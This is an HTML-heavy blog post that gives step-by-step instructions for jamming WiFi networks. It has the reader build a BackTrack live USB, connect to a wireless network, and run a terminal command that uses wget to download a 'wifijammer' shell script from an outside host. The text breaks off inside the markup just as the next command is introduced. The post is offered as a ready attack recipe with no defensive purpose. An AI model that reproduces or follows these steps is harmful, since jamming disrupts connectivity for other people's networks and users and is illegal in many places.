HOW TO JAM WIFI NETWORK IN UBUNTU & BACK TRACK?

<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="inner" style="border: 0px; margin: 10px auto 0px; outline: none medium; padding: 0px; vertical-align: baseline; width: 980px;"> <div class="section" id="crosscol" style="border: 0px; font-style: inherit; font-variant: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="widget HTML" id="HTML5" style="border: 0px; font-style: inherit; font-variant: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="widget-content" style="border: 0px; font-style: inherit; font-variant: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div> <span style="font-family: Verdana;"><span style="font-size: 12px;"><b><br /></b></span></span></div> </div> </div> </div> </div> <div class="inner" style="border: 0px; font-family: 'Maven Pro', Arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 10px auto 0px; outline: none medium; padding: 0px; vertical-align: baseline; width: 980px;"> <div id="contentwrapper" style="border: 0px; float: left; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline; width: 630px;"> <div class="main section" id="main" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="widget Blog" id="Blog1" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="blog-posts hfeed" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="date-outer" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="date-posts" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="post-outer" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="post hentry" style="border-bottom-color: rgb(211, 211, 211); border-bottom-style: solid; border-width: 0px 0px 1px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 0px 30px; outline: none medium; overflow: hidden; padding: 0px 0px 30px; position: relative; vertical-align: baseline;"> <div class="post-body entry-content" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 1.6em; margin: 0px 0px 0.75em; outline: none medium; overflow: hidden; padding: 5px 0px 0px; vertical-align: baseline;"> <div style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 10px 0px; vertical-align: baseline;"> <div style="border: 0px; float: right; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline; width: 250px;"> <ul class="cbtsharethis" style="border: 0px; float: left; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: none outside none; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <li class="facebook" style="background-attachment: scroll; background-clip: initial; background-image: none; background-origin: initial; background-position: 0px 0px; background-repeat: repeat; background-size: initial; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br /></li> <li class="stumble" style="background-attachment: scroll; background-clip: initial; background-image: none; background-origin: initial; background-position: 0px 0px; background-repeat: repeat; background-size: initial; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br /></li> </ul> </div> </div> <div dir="ltr" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;" trbidi="on"> <br style="outline: none medium;" /><div align="LEFT" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 0.19in; margin: 0px 0px 0in; outline: none medium; padding: 0px; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 0.19in; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">If you have UBUNTU or BACK TRACK installed ,then you can start from step 7 directly you can skip first six step. If you have windows user start from here.</span></div> <div align="LEFT" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 0.19in; margin: 0px 0px 0in; outline: none medium; padding: 0px; vertical-align: baseline;"> <span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span></div> <div align="LEFT" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 0.19in; margin: 0px 0px 0in; outline: none medium; padding: 0px; vertical-align: baseline;"> <span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step </span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">1</span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">: Download Backtrack 5 R2 here as .iso for 32 bit:</span></span></span><a href="http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5R2-GNOME-32.iso" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="border: 0px; color: black; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">http://www.backtrack-linux.org/ajax/down...OME-32.iso</span></span></span></span></a><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">and 64 bit:</span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><a href="http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5R2-GNOME-64.iso" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">http://www.backtrack-linux.org/ajax/down...OME-64.iso</a></span></span></span></span><br style="outline: none medium;" /><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step 2: Download UNetbootin for Windows:</span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><a href="http://unetbootin.sourceforge.net/unetbootin-windows-latest.exe" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">http://unetbootin.sourceforge.net/unetbo...latest.exe</a></span></span></span></span><br style="outline: none medium;" /><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step 3: Insert your FAT32 formatted flash/hard drive and open UNetbootin.</span></span></span><br style="outline: none medium;" /><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step 4: At the bottom of UNetbootin you'll see it says Disc Image. Select ISO and find your file.</span></span></span><br style="outline: none medium;" /><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Type: USB-drive.</span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Letter: H:\ or whatever your computer says.</span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Then press on OK and let it finish.</span></span></span><br style="outline: none medium;" /><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step 5: When it's done, press on Reboot now and when you're booting, remember to boot on your flash/hard drive. I use F12 when I'm booting to change, but it depends on each computer.</span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span></div> <a href="https://www.blogger.com/null" name="more" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></a><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step 6: Select Default, and wait for it to boot. When it's done booting, write "startx" in the console so it will start your desktop.</span></span></span><br style="outline: none medium;" /><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step 7: Connect to your favorite WiFi network. Go to the "start icon" in Backtrack, go to Network and find "Wicd Network Manager". Connect to your wireless.</span></span></span><br style="outline: none medium;" /><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span></span></span><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step 8: Open Terminal and write:</span></span></span><br style="outline: none medium;" /><div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 18px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></span></span></span></div> <div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Code:</span></div> <div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">wget http://wifijammer.googlecode.com/files/wifijammer_0.1.sh</span></div> <br style="outline: none medium;" /><div align="LEFT" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 0.19in; margin: 0px 0px 0in; outline: none medium; padding: 0px; vertical-align: baseline;"> <span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">After the transfer has completed you now type:</span></span></span></div> <div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 18px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; 